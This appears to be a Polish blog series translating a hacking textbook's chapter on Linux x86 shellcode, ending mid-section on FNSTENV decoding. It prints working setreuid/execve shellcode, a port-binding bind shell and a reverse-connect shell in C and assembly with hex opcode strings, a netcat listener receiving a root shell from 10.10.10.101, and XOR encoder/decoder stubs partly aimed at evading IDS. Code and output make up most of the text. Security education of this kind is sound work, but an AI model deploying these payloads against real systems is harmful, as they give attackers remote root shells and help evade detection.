Grey Hat Hackingchacker.pl



Między uznaniem , a progiem karceru…



01.11.2020

Wyodrębnianie szesnastkowych kodów operacyjnych (kod powłoki)

Pamiętaj, aby użyć naszego nowego programu w ramach exploita, musimy umieścić nasz program wewnątrz łańcucha. Aby uzyskać kody szesnastkowe, po prostu używamy narzędzia objdump z flagą -d do deasemblacji:

$ objdump -d ./sc2
./sc2: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: b0 46 mov $Ox46,%al
8048084: 31 db xor %ebx,%ebx
8048086: 31 c9 xor %ecx,%ecx
8048088: cd 80 int $Ox80
804808a: 31 c0 xor %eax,%eax
804808c: 50 push %eax
804808d: 68 2f 2f 73 68 push $Ox68732f2f
8048092: 68 2f 62 69 6e push $Ox6e69622f
8048097: 89 e3 mov %esp,%ebx
8048099: 50 push %eax
804809a: 53 push %ebx
804809b: 89 e1 mov %esp,%ecx
804809d: 31 d2 xor %edx,%edx
804809f: b0 0b mov $Oxb,%al
80480a1: cd 80 int $Ox80
$

Najważniejszą rzeczą w tym wydruku jest sprawdzenie, czy w opkodach szesnastkowych nie ma znaków NULL (\ x00). Jeśli są jakieś znaki NULL, kod powłoki zakończy się niepowodzeniem, gdy umieścimy go w ciągu do wstrzyknięcia podczas exploita.


Powrót

02.11.2020

Testowanie kodu Shellcode

Aby upewnić się, że nasz kod powłoki zostanie wykonany, gdy jest zawarty w ciągu, możemy stworzyć następujący program testowy. Zwróć uwagę, jak łańcuch (sc) można podzielić na oddzielne wiersze, po jednej dla każdej instrukcji asemblera. Pomaga to w zrozumieniu i jest dobrym nawykiem.

$ cat sc2.c
char sc[] = //white space, such as carriage returns don't matter
// setreuid(0,0)
"\x31\xc0" // xor %eax,%eax
"\xb0\x46" // mov $0x46,%al
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xcd\x80" // int $0x80
// spawn shellcode with execve
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x50" // push %eax
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\x31\xd2" // xor %edx,%edx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80"; // int $0x80 (;)terminates the string
main()
{
void (*fp) (void); // declare a function pointer, fp
fp = (void *)sc; // set the address of fp to our shellcode
fp(); // execute the function (our shellcode)
}

Ten program najpierw umieszcza szesnastkowe rozkazy (kod powłoki) w buforze o nazwie sc []. Następnie funkcja główna przydziela wskaźnik funkcji o nazwie fp (po prostu 4-bajtowa liczba całkowita, która służy jako wskaźnik adresu, używany do wskazywania funkcji). Wskaźnik funkcji jest następnie ustawiany na adres początkowy sc []. Na koniec funkcja (nasz kod powłoki) jest wykonywana. Teraz skompiluj i przetestuj kod:

$ gcc -o sc2 sc2.c
$ sudo chown root sc2
$ sudo chmod +s sc2
$ ./sc2
sh-2.05b# exit
exit

Zgodnie z oczekiwaniami uzyskano te same wyniki. Gratulacje, możesz teraz napisać swój własny kod powłoki!


Powrót

03.11.2020

Implementowanie kodu powłoki powiązania portów

Jak omówiono w poprzedniej części, czasami pomocne jest otwarcie portu przez shellcode i powiązanie powłoki z tym portem. Dzięki temu osoba atakująca nie może już polegać na porcie, do którego uzyskano dostęp, i zapewnia solidne tylne wejście do systemu.

Programowanie gniazd w systemie Linux

Programowanie w gniazdach Linuksa zasługuje na osobną sekcję, jeśli nie na całą książkę. Okazuje się jednak, że jest tylko kilka rzeczy, które musisz wiedzieć, aby oderwać się od ziemi. Ponownie zapnij pasy!…


Powrót

04.11.2020

Program w C do ustanowienia gniazda

W języku C następujące pliki nagłówkowe muszą zostać uwzględnione w kodzie źródłowym, aby zbudować gniazda:

#include < sys / socket.h > // biblioteki używane do tworzenia gniazda
#include < netinet / in.h > // definiuje strukturę sockaddr
Pierwszą koncepcją, którą należy zrozumieć podczas budowania gniazd, jest kolejność bajtów.

Sieci IP używają kolejności bajtów w sieci

Jak dowiedzieliśmy się wcześniej, programując w systemach Linux, musimy zrozumieć, że dane są przechowywane w pamięci, zapisując najpierw bajty niższego rzędu; nazywa się to notacją littleendian. Kiedy już się do tego przyzwyczaisz, musisz zrozumieć, że sieci IP działają, zapisując najpierw bajt o najwyższym porządku; jest to określane jako kolejność bajtów w sieci. W praktyce, nie jest to trudne do obejścia. Musisz po prostu pamiętać, że bajty zostaną odwrócone w kolejności bajtów sieci przed wysłaniem ich przewodem. Drugą koncepcją, którą należy zrozumieć podczas budowania gniazd, jest struktura sockaddr.

Powrót

05.11.2020

Struktura sockaddr

W programach w języku C struktury służą do definiowania obiektu, który ma cechy zawarte w zmiennych. Te cechy lub zmienne mogą być modyfikowane, a obiekt może być przekazywany jako argument do funkcji. Podstawową konstrukcją używaną do budowy gniazd jest sockaddr. Sockaddr wygląda następująco:

struct sockaddr {
unsigned short sa_family; / * rodzina adresów * /
char sa_data [14]; / * dane adresowe * /
};

Podstawową ideą jest zbudowanie fragmentu pamięci, który przechowuje wszystkie krytyczne informacje o gnieździe, a mianowicie typ używanej rodziny adresów (w naszym przypadku IP, protokół internetowy), adres IP i port, który ma być używany. Ostatnie dwa elementy są przechowywane w polu sa_data. Aby pomóc w odwołaniu się do pól struktury, opracowano nowszą wersję sockaddr: sockaddr_in. Struktura sockaddr_in wygląda następująco:

struct sockaddr_in {
short int sin_family / * Rodzina adresów * /
unsigned short int sin_port; /* Numer portu */
struct in_addr sin_addr; /* Adres internetowy */
unsigned char sin_zero [8]; / * 8 bajtów wypełnienia NULL dla IP * /
};

Pierwsze trzy pola tej struktury muszą zostać zdefiniowane przez użytkownika przed utworzeniem gniazda. Będziemy używać rodziny adresów 0x2, która odpowiada IP (kolejność bajtów w sieci). Numer portu to po prostu szesnastkowa reprezentacja używanego portu. Adres internetowy uzyskuje się, zapisując oktety adresu IP (każdy w notacji szesnastkowej) w odwrotnej kolejności, zaczynając od czwartego oktetu. Na przykład 127.0.0.1 zostanie zapisane jako 0x0100007F. Wartość 0 w polu sin_addr oznacza po prostu dla wszystkich adresów lokalnych. Pole sin_zero uzupełnia rozmiar struktury, dodając 8 bajtów NULL. To wszystko może wydawać się onieśmielające, ale w praktyce musimy tylko wiedzieć, że struktura jest kawałkiem pamięci używanej do przechowywania typu rodziny adresów, portu i adresu IP. Wkrótce po prostu użyjemy stosu do zbudowania tego fragmentu pamięci


Powrót

06.11.2020

Gniazda

Gniazda definiuje się jako powiązanie portu i adresu IP z procesem. W naszym przypadku najczęściej będziemy zainteresowani powiązaniem procesu powłoki poleceń z określonym portem i adresem IP w systemie. Podstawowe kroki w celu ustanowienia gniazda są następujące (w tym wywołania funkcji C):

1. Zbuduj podstawowe gniazdo IP:
server=socket(2,1,0)

2. Zbuduj strukturę sockaddr_in z adresem IP i portem:
struct sockaddr_in serv_addr; //structure to hold IP/port vals
serv_addr.sin_addr.s_addr=0;//set addresses of socket to all localhost IPs
serv_addr.sin_port=0xBBBB;//set port of socket, in this case to 48059
serv_addr.sin_family=2; //set native protocol family: IP

3. Powiąż port i adres IP z gniazdem:
bind (serwer, (struct sockaddr *) & serv_addr, 0x10)

4. Uruchom gniazdo w trybie nasłuchu; otwórz port i poczekaj na połączenie:
listen(server, 0)

5. Po nawiązaniu połączenia zwróć uchwyt do klienta:
client = accept (serwer, 0, 0)

6. Skopiuj potoki stdin, stdout i stderr do łączącego się klienta:
dup2(client, 0), dup2(client, 1), dup2(client, 2)

7. Wywołaj normalny kod powłoki execve, jak w pierwszej sekcji:
char * shell[2]; //set up a temp array of two strings
shell[0]="/bin/sh"; //set the first element of the array to "/bin/sh"
shell[1]="0"; //set the second element to NULL
execve(shell[0], shell , NULL) //actual call of execve


Powrót

07.11.2020

port_bind.c
Aby zademonstrować tworzenie gniazd, zacznijmy od podstawowego programu w C:

$ cat ./port_bind.c
#include< sys/socket.h > //libraries used to make a socket
#include< netinet/in.h > //defines the sockaddr structure
int main(){
char * shell[2]; //prep for execve call
int server,client; //file descriptor handles
struct sockaddr_in serv_addr; //structure to hold IP/port vals
server=socket(2,1,0); //build a local IP socket of type stream
serv_addr.sin_addr.s_addr=0;//set addresses of socket to all local
serv_addr.sin_port=0xBBBB;//set port of socket, 48059 here
serv_addr.sin_family=2; //set native protocol family: IP
bind(server,(struct sockaddr *)&serv_addr,0x10); //bind socket
listen(server,0); //enter listen state, wait for connect
client=accept(server,0,0);//when connect, return client handle
/*connect client pipes to stdin,stdout,stderr */
dup2(client,0); //connect stdin to client
dup2(client,1); //connect stdout to client
dup2(client,2); //connect stderr to client
shell[0]="/bin/sh"; //first argument to execve
shell[1]=0; //terminate array with NULL
execve(shell[0],shell,0); //pop a shell
}

Ten program ustawia niektóre zmienne do późniejszego wykorzystania, aby uwzględnić strukturę sockaddr_in. Gniazdo jest inicjalizowane, a uchwyt jest zwracany do wskaźnika serwera (int służy jako uchwyt). Następnie ustawiane są charakterystyki struktury sockaddr_in. Struktura sockaddr_in jest przekazywana wraz z uchwytem do serwera do funkcji bind (która wiąże proces, port i adres IP). Następnie gniazdo przechodzi w stan nasłuchiwania, co oznacza, że czeka na połączenie na powiązanym porcie. Po nawiązaniu połączenia program przekazuje uchwyt do gniazda do uchwytu klienta. Dzieje się tak, aby stdin, stdout i stderr serwera mogły zostać zduplikowane do klienta, umożliwiając klientowi komunikację z serwerem. Na koniec pobierana jest powłoka i zwracana do klienta.


Powrót

08.11.2020

Program asemblera do ustanowienia gniazda

Podsumowując poprzednią sekcję, podstawowe kroki w celu ustanowienia gniazda to
•  serwer = gniazdo (2,1,0)
•  bind (server, (struct sockaddr *) & serv_addr, 0x10)
•  nasłuchuj (serwer, 0)
•  klient = akceptuj (serwer, 0, 0)
•  dup2 (klient, 0), dup2 (klient, 1), dup2 (klient, 2)
•  execve "/ bin / sh"
Przed przejściem do montażu jest jeszcze tylko jedna rzecz do zrozumienia.
socketcall Wywołanie systemowe

W Linuksie gniazda są implementowane przy użyciu wywołania systemowego socketcall (102). Wywołanie systemowe socketcall przyjmuje dwa argumenty:

•  ebx Wartość całkowita, zdefiniowana w /usr/include/net.h

Aby zbudować podstawowe gniazdo, będziesz potrzebować tylko

•  SYS_SOCKET 1
•  SYS_BIND 2
•  SYS_CONNECT 3
•  SYS_LISTEN 4
•  SYS_ACCEPT 5
•  ecx - Wskaźnik do tablicy argumentów dla określonej funkcji

Wierz lub nie, ale masz teraz wszystko, czego potrzebujesz, aby przejść do programów gniazd asemblerowych.


Powrót

09.11.2020

port_bind_asm.asm

Uzbrojeni w te informacje, jesteśmy gotowi do rozpoczęcia tworzenia asemblacji podstawowego programu do powiązania portu 48059 z adresem IP lokalnego hosta i czekania na połączenia. Po uzyskaniu połączenia program utworzy powłokę i udostępni ją łączącemu się klientowi.

UWAGA : Poniższy fragment kodu może wydawać się onieśmielający, ale jest dość prosty. Wróć do poprzednich sekcji, w szczególności do ostatniej, i zdaj sobie sprawę, że właśnie wdrażamy wywołania systemowe (jedno po drugim).

# cat ./port_bind_asm.asm
BITS 32
section .text
global _start
_start:
xor eax,eax ;clear eax
xor ebx,ebx ;clear ebx
xor edx,edx ;clear edx
;server=socket(2,1,0)
push eax ; third arg to socket: 0
push byte 0x1 ; second arg to socket: 1
push byte 0x2 ; first arg to socket: 2
mov ecx,esp ; set addr of array as 2nd arg to socketcall
inc bl ; set first arg to socketcall to # 1
mov al,102 ; call socketcall # 1: SYS_SOCKET
int 0x80 ; jump into kernel mode, execute the syscall
mov esi,eax ; store the return value (eax) into esi (server)
;bind(server,(struct sockaddr *)&serv_addr,0x10)
push edx ; still zero, terminate the next value pushed
push long 0xBBBB02BB ; build struct:port,sin.family:02,& any 2bytes:BB
mov ecx,esp ; move addr struct (on stack) to ecx
push byte 0x10 ; begin the bind args, push 16 (size) on stack
push ecx ; save address of struct back on stack
push esi ; save server file descriptor (now in esi) to stack
mov ecx,esp ; set addr of array as 2nd arg to socketcall
inc bl ; set bl to # 2, first arg of socketcall
mov al,102 ; call socketcall # 2: SYS_BIND
int 0x80 ; jump into kernel mode, execute the syscall
;listen(server, 0)
push edx ; still zero, used to terminate the next value pushed
push esi ; file descriptor for server (esi) pushed to stack
mov ecx,esp ; set addr of array as 2nd arg to socketcall
mov bl,0x4 ; move 4 into bl, first arg of socketcall
mov al,102 ; call socketcall #4: SYS_LISTEN
int 0x80 ; jump into kernel mode, execute the syscall
;client=accept(server, 0, 0)
push edx ; still zero, third argument to accept pushed to stack
push edx ; still zero, second argument to accept pushed to stack
push esi ; saved file descriptor for server pushed to stack
mov ecx,esp ; args placed into ecx, serves as 2nd arg to socketcall
inc bl ; increment bl to 5, first arg of socketcall
mov al,102 ; call socketcall #5: SYS_ACCEPT
int 0x80 ; jump into kernel mode, execute the syscall
; prepare for dup2 commands, need client file handle saved in ebx
mov ebx,eax ; copied returned file descriptor of client to ebx
;dup2(client, 0)
xor ecx,ecx ; clear ecx
mov al,63 ; set first arg of syscall to 0x63: dup2
int 0x80 ; jump into
;dup2(client, 1)
inc ecx ; increment ecx to 1
mov al,63 ; prepare for syscall to dup2:63
int 0x80 ; jump into
;dup2(client, 2)
inc ecx ; increment ecx to 2
mov al,63 ; prepare for syscall to dup2:63
int 0x80 ; jump into
;standard execve("/bin/sh"…
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al, 0x0b
int 0x80
#

To była dość długa asemblacja, ale teraz powinieneś być w stanie go śledzić.

UWAGA : Port 0xBBBB = dziesiętny 48059. Możesz zmienić tę wartość i połączyć się z dowolnym wolnym portem.

Zbierz plik źródłowy, połącz program i uruchom plik binarny.

# nasm -f elf port_bind_asm.asm
# ld -o port_bind_asm port_bind_asm.o
# ./port_bind_asm
At this point, we should have an open port: 48059. Let's open another command shell and check:
# netstat -pan |grep port_bind_asm
tcp 0 0 0.0.0.0:48059 0.0.0.0:* LISTEN
10656/port_bind
Looks good; now fire up netcat, connect to the socket, and issue a test command.
# nc localhost 48059
id
uid=0(root) gid=0(root) groups=0(root)

Tak, zadziałało zgodnie z planem. Uśmiechnij się i poklep się po plecach; zarobiłeś to.


Powrót

10.11.2020

Przetestuj kod Shellcode

Wreszcie dochodzimy do kodu powłoki wiążącej port. Musimy ostrożnie wyodrębnić szesnastkowe rozkazy, a następnie przetestować je, umieszczając kod powłoki w łańcuchu i wykonując go.

Wyodrębnianie szesnastkowych kodów operacyjnych

Po raz kolejny wracamy do używania narzędzia objdump:

$objdump -d ./port_bind_asm
port_bind: file format elf32-i386
Disassembly of section .text:
08048080 < _start >:
8048080: 31 c0 xor %eax,%eax
8048082: 31 db xor %ebx,%ebx
8048084: 31 d2 xor %edx,%edx
8048086: 50 push %eax
8048087: 6a 01 push $0x1
8048089: 6a 02 push $0x2
804808b: 89 e1 mov %esp,%ecx
804808d: fe c3 inc %bl
804808f: b0 66 mov $0x66,%al
8048091: cd 80 int $0x80
8048093: 89 c6 mov %eax,%esi
8048095: 52 push %edx
8048096: 68 aa 02 aa aa push $0xaaaa02aa
804809b: 89 e1 mov %esp,%ecx
804809d: 6a 10 push $0x10
804809f: 51 push %ecx
80480a0: 56 push %esi
80480a1: 89 e1 mov %esp,%ecx
80480a3: fe c3 inc %bl
80480a5: b0 66 mov $0x66,%al
80480a7: cd 80 int $0x80
80480a9: 52 push %edx
80480aa: 56 push %esi
80480ab: 89 e1 mov %esp,%ecx
80480ad: b3 04 mov $0x4,%bl
80480af: b0 66 mov $0x66,%al
80480b1: cd 80 int $0x80
80480b3: 52 push %edx
80480b4: 52 push %edx
80480b5: 56 push %esi
80480b6: 89 e1 mov %esp,%ecx
80480b8: fe c3 inc %bl
80480ba: b0 66 mov $0x66,%al
80480bc: cd 80 int $0x80
80480be: 89 c3 mov %eax,%ebx
80480c0: 31 c9 xor %ecx,%ecx
80480c2: b0 3f mov $0x3f,%al
80480c4: cd 80 int $0x80
80480c6: 41 inc %ecx
80480c7: b0 3f mov $0x3f,%al
80480c9: cd 80 int $0x80
80480cb: 41 inc %ecx
80480cc: b0 3f mov $0x3f,%al
80480ce: cd 80 int $0x80
80480d0: 52 push %edx
80480d1: 68 2f 2f 73 68 push $0x68732f2f
80480d6: 68 2f 62 69 6e push $0x6e69622f
80480db: 89 e3 mov %esp,%ebx
80480dd: 52 push %edx
80480de: 53 push %ebx
80480df: 89 e1 mov %esp,%ecx
80480e1: b0 0b mov $0xb,%al
80480e3: cd 80 int $0x80

Wizualna inspekcja sprawdza, czy nie mamy żadnych znaków NULL (\ x00), więc powinniśmy być gotowi. Teraz odpal swój ulubiony edytor (miejmy nadzieję, vi) i zamień rozkazy w shellcode

port_bind_sc.c

Ponownie, aby przetestować kod powłoki, umieścimy go w łańcuchu i uruchomimy prosty program testowy, aby wykonać kod powłoki:

# cat port_bind_sc.c
char sc[]= // our new port binding shellcode, all here to save pages
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0"
"\x66\xcd\x80\x89\xc6\x52\x68\xbb\x02\xbb\xbb\x89\xe1\x6a\x10\x51"
"\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04\xb0"
"\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3"
"\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\xb0\x0b\xcd\x80";
main(){
void (*fp) (void); // declare a function pointer, fp
fp = (void *)sc; // set the address of the fp to our shellcode
fp(); // execute the function (our shellcode)
}
Skompiluj program i uruchom go:
# gcc -o port_bind_sc port_bind_sc.c
# ./port_bind_sc

W innej powłoce sprawdź, czy gniazdo nasłuchuje. Przypomnijmy, że użyliśmy portu 0xBBBB w naszym kodzie powłoki, więc powinniśmy zobaczyć port 48059 otwarty.

# netstat -pan |grep port_bind_sc
tcp 0 0 0.0.0.0:48059 0.0.0.0:* LISTEN
21326/port_bind_sc

Na koniec przełącz się na zwykłego użytkownika i połącz:

# su joeuser
$ nc localhost 48059
id
uid=0(root) gid=0(root) groups=0(root)
exit
$
Success!


Powrót

11.11.2020

Wdrażanie odwrotnego łączenia kodu powłoki

Ostatnia sekcja była fajna, ale co jeśli podatny system znajduje się za zaporą ogniową, a atakujący nie może połączyć się z eksploatowanym systemem na nowym porcie? Jak omówiono poprzednio, atakujący wykorzystają następnie inną technikę: niech wykorzystany system połączy się z atakującym na określonym adresie IP i porcie. Nazywa się to odwrotną powłoką łączącą.

Odwrotne połączenie programu C

Dobra wiadomość jest taka, że musimy zmienić tylko kilka rzeczy z naszego poprzedniego kodu powiązania portów:
1. Zastąp funkcje bind, Listen i accept połączeniem.
2. Dodaj adres docelowy do struktury sockaddr.
3. Zduplikuj stdin, stdout i stderr do otwartego gniazda, a nie klienta, jak poprzednio.

Dlatego odwrotny kod połączenia wygląda następująco:

$ cat reverse_connect.c
#include< sys/socket.h > //same includes of header files as before
#include< netinet/in.h >
int main()
{
char * shell[2];
int soc,remote; //same declarations as last time
struct sockaddr_in serv_addr;
serv_addr.sin_family=2; // same setup of the sockaddr_in
serv_addr.sin_addr.s_addr=0x650A0A0A; //10.10.10.101
serv_addr.sin_port=0xBBBB; // port 48059
soc=socket(2,1,0);
remote = connect(soc, (struct sockaddr*)&serv_addr,0x10);
dup2(soc,0); //notice the change, we dup to the socket
dup2(soc,1); //notice the change, we dup to the socket
dup2(soc,2); //notice the change, we dup to the socket
shell[0]="/bin/sh"; //normal set up for execve
shell[1]=0;
execve(shell[0],shell,0); //boom!

Teraz, gdy mamy nowy kod C, przetestujmy go, uruchamiając powłokę nasłuchującą w naszym systemie pod adresem IP 10.10.10.101:

$ nc -nlvv -p 48059
listening on [any] 48059 ...
Flagi -nlvv uniemożliwiają rozpoznawanie nazw DNS, konfigurują nasłuchiwanie i ustawiają netcat w trybie bardzo szczegółowym. Teraz skompiluj nowy program i wykonaj go:

# gcc -o reverse_connect reverse_connect.c
# ./reverse_connect
W powłoce nasłuchującej powinieneś zobaczyć połączenie. Śmiało i wydaj polecenie testowe:

connect to [10.10.10.101] from (UNKNOWN) [10.10.10.101] 38877
id;
uid=0(root) gid=0(root) groups=0(root)

Zadziałało!

Odwrotny program łączący

Ponownie, po prostu zmodyfikujemy nasz poprzedni przykład port_bind_asm.asm, aby uzyskać pożądany efekt:

$ cat ./reverse_connect_asm.asm
BITS 32
section .text
global _start
_start:
xor eax,eax ;clear eax
xor ebx,ebx ;clear ebx
xor edx,edx ;clear edx
;socket(2,1,0)
push eax ; third arg to socket: 0
push byte 0x1 ; second arg to socket: 1
push byte 0x2 ; first arg to socket: 2
mov ecx,esp ; move the ptr to the args to ecx (2nd arg to socketcall)
inc bl ; set first arg to socketcall to # 1
mov al,102 ; call socketcall # 1: SYS_SOCKET
int 0x80 ; jump into kernel mode, execute the syscall
mov esi,eax ; store the return value (eax) into esi
;the next block replaces the bind, listen, and accept calls with connect
;client=connect(server,(struct sockaddr *)&serv_addr,0x10)
push edx ; still zero, used to terminate the next value pushed
push long 0x650A0A0A ; extra this time, push the address in reverse hex
push word 0xBBBB ; push the port onto the stack, 48059 in decimal
xor ecx, ecx ; clear ecx to hold the sa_family field of struck
mov cl,2 ; move single byte:2 to the low order byte of ecx
push word cx ; ; build struct, use port,sin.family:0002 four bytes
mov ecx,esp ; move addr struct (on stack) to ecx
push byte 0x10 ; begin the connect args, push 16 stack
push ecx ; save address of struct back on stack
push esi ; save server file descriptor (esi) to stack
mov ecx,esp ; store ptr to args to ecx (2nd arg of socketcall)
mov bl,3 ; set bl to # 3, first arg of socketcall
mov al,102 ; call socketcall # 3: SYS_CONNECT
int 0x80 ; jump into kernel mode, execute the syscall
; prepare for dup2 commands, need client file handle saved in ebx
mov ebx,esi ; copied soc file descriptor of client to ebx
;dup2(soc, 0)
xor ecx,ecx ; clear ecx
mov al,63 ; set first arg of syscall to 63: dup2
int 0x80 ; jump into
;dup2(soc, 1)
inc ecx ; increment ecx to 1
mov al,63 ; prepare for syscall to dup2:63
int 0x80 ; jump into
;dup2(soc, 2)
inc ecx ; increment ecx to 2
mov al,63 ; prepare for syscall to dup2:63
int 0x80 ; jump into
;standard execve("/bin/sh"…
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al, 0x0b
int 0x80

Podobnie jak w przypadku programu C, ten program asemblera po prostu zastępuje wywołania systemowe bind, nasłuchiwanie i akceptowanie wywołania systemowego connect. Należy zwrócić uwagę na kilka innych rzeczy. Najpierw umieściliśmy adres połączenia na stosie przed portem. Następnie zwróć uwagę, jak port został wepchnięty na stos, a następnie, jak sprytny trik jest używany do umieszczenia wartości 0x0002 na stosie bez użycia instrukcji asemblera, które dadzą znaki NULL w końcowych kodach szesnastkowych. Na koniec zwróć uwagę, jak wywołania systemowe dup2 działają na samym gnieździe, a nie na uchwycie klienta, jak poprzednio. OK, spróbujmy:

$ nc -nlvv -p 48059
listening on [any] 48059 …
W innej powłoce zbierz, połącz i uruchom plik binarny:

$ nasm -f elf reverse_connect_asm.asm
$ ld -o port_connect reverse_connect_asm.o
$ ./reverse_connect_asm

Ponownie, jeśli wszystko działało dobrze, powinieneś zobaczyć połączenie w powłoce słuchacza. Wydaj polecenie testowe:

connect to [10.10.10.101] from (UNKNOWN) [10.10.10.101] 38877
id;
uid=0(root) gid=0(root) groups=0(root)

Zostanie pozostawione jako ćwiczenie dla czytelnika, aby wyodrębnić szesnastkowe kody operacyjne i przetestować wynikowy kod szelkowy.


Powrót

12.11.2020

Kodowanie Shellcode

Niektóre z wielu powodów, dla których warto zakodować kod powłoki, obejmują

•  Unikanie złych znaków (\ x00, \ xa9 itp.)
•  Unikanie wykrywania IDS lub innych czujników sieciowych
•  Zgodność z filtrami łańcuchowymi, na przykład tolower
W tej sekcji omówimy kodowanie szelkodu, aby dołączyć przykłady.

Proste kodowanie XOR

Prostą sztuczką komputerową jest funkcja "wyłączność" (XOR). Funkcja XOR działa w ten sposób:
0 XOR 0 = 0
0 XOR 1 = 1
1 XOR 0 = 1
1 XOR 1 = 0

Wynik funkcji XOR (jak sugeruje jej nazwa) jest prawdziwy (wartość logiczna 1) wtedy i tylko wtedy, gdy jedno z danych wejściowych jest prawdziwe. Jeśli oba dane wejściowe są prawdziwe, wynik jest fałszywy. Funkcja XOR jest interesująca, ponieważ jest odwracalna, co oznacza, że jeśli dwukrotnie XORujesz liczbę (bitowo) z inną liczbą, w rezultacie otrzymujesz pierwotną liczbę. Na przykład: binarnie możemy zakodować 5 (101) klawiszem 4 (100): 101 XOR 100 = 001 I aby zdekodować liczbę powtarzamy tym samym klawiszem (100): 001 XOR 100 = 101 W tym przypadku zaczynamy od liczby 5 w systemie binarnym (101) i XORujemy ją za pomocą klucza 4 w systemie binarnym (100). Wynikiem jest liczba 1 w systemie dwójkowym (001). Aby odzyskać nasz pierwotny numer, możemy powtórzyć operację XOR tym samym klawiszem (100). Odwracalne cechy funkcji XOR sprawiają, że jest ona doskonałym kandydatem do kodowania i podstawowego szyfrowania. Po prostu kodujesz łańcuch na poziomie bitowym, wykonując funkcję XOR za pomocą klucza. Później możesz go zdekodować, wykonując funkcję XOR tym samym klawiszem.

Struktura zakodowanego kodu powłoki

Gdy kodowany jest kod szelkowy, dekoder należy umieścić z przodu szelkodu. Ten dekoder wykona najpierw i zdekoduje kod powłoki przed przekazaniem wykonania do zdekodowanego kodu powłoki. Struktura zakodowanego shellcodu wygląda następująco:

[dekoder] [zakodowany kod powłoki]


Powrót

13.11.2020

Przykład dekodera JMP / CALL XOR

Dekoder musi znać swoją lokalizację, aby mógł obliczyć lokalizację zakodowanego szelkodu i rozpocząć dekodowanie. Istnieje wiele sposobów określenia lokalizacji dekodera, często nazywanych GETPC. Jedną z najpopularniejszych technik GETPC jest technika JMP / CALL. Zaczynamy od instrukcji JMP, która przesyła dalej do instrukcji CALL, która znajduje się tuż przed początkiem zakodowanego kodu powłoki. Instrukcja CALL umieści adres następnego adresu (początek zakodowanego kodu powłoki) na stosie i przeskoczy z powrotem do następnej instrukcji (zaraz po oryginalnym JMP). W tym momencie możemy zdjąć ze stosu lokalizację zakodowanego szelkodu i zapisać go w rejestrze do wykorzystania podczas dekodowania. Na przykład:

BT book # cat jmpcall.asm
[BITS 32]
global _start
_start:
jmp short call_point ; 1. JMP to CALL
begin:
pop esi ; 3. pop shellcode loc into esi for use in encoding
xor ecx,ecx ; 4. clear ecx
mov cl,0x0 ; 5. place holder (0x0) for size of shellcode
short_xor:
xor byte[esi],0x0 ; 6. XOR byte from esi with key (0x0=placeholder)
inc esi ; 7. increment esi pointer to next byte
loop short_xor ; 8. repeat to 6 until shellcode is decoded
jmp short shellcode ; 9. jump over call into decoded shellcode
call_point:
call begin ; 2. CALL back to begin, push shellcode loc on stack
shellcode: ; 10. decoded shellcode executes
; the decoded shellcode goes here.

Możesz zobaczyć sekwencję JMP / CALL w poprzednim kodzie. Lokalizacja zakodowanego szelkodu jest zdejmowana ze stosu i zapisywana w pliku esi. ecx jest wyczyszczony i tam przechowywany jest rozmiar szelkodu. Na razie używamy symbolu zastępczego 0x00 dla rozmiaru naszego szelkodu. Później zastąpimy tę wartość naszym koderem. Następnie kod powłoki jest dekodowany bajt po bajcie. Zwróć uwagę, że instrukcja pętli automatycznie zmniejszy ecx przy każdym wywołaniu LOOP i zakończy się automatycznie, gdy ecx = 0x0. Po zdekodowaniu szelkodu program JMP przechodzi do zdekodowanego szelkodu. Zbierzmy, połączmy i zrzućmy binarny kod OPCODE programu.

BT book # nasm -f elf jmpcall.asm
BT book # ld -o jmpcall jmpcall.o
BT book # objdump -d ./jmpcall
./jmpcall: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: eb 0d jmp 804808f < call_point >
08048082 < Begin >:
8048082: 5e pop %esi
8048083: 31 c9 xor %ecx,%ecx
8048085: b1 00 mov $0x0,%cl
08048087 < short_xor >:
8048087: 80 36 00 xorb $0x0,(%esi)
804808a: 46 inc %esi
804808b: e2 fa loop 8048087 < short_xor >
804808d: eb 05 jmp 8048094 < shellcode >
0804808f < call_point >
804808f: e8 ee ff ff ff call 8048082 < Begin >
BT book #

Binarna reprezentacja (szesnastkowa) naszego dekodera JMP / CALL to
decoder[] =
"\xeb\x0d\x5e\x31\xc9\xb1\x00\x80\x36\x00\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff"

Będziemy musieli zastąpić pokazane właśnie bajty NULL długością naszego kodu powłoki i kluczem do zdekodowania, odpowiednio.


Powrót

14.11.2020

Przykład FNSTENV XOR

Inną popularną techniką GETPC jest użycie instrukcji montażu FNSTENV, zgodnie z opisem Noir. Instrukcja FNSTENV zapisuje 32-bajtowy rekord środowiska jednostki zmiennoprzecinkowej (FPU) do adresu pamięci określonego przez operand. Rekord środowiska FPU jest strukturą zdefiniowaną jako user_fpregs_struct w / usr / include / sys / user.h i zawiera składowe (w przesunięciach):

•  0 Słowo sterujące
•  4 słowo stanu
•  8 słów znaczników
•  12 ostatnich wskaźników instrukcji FPU
•  Inne pola

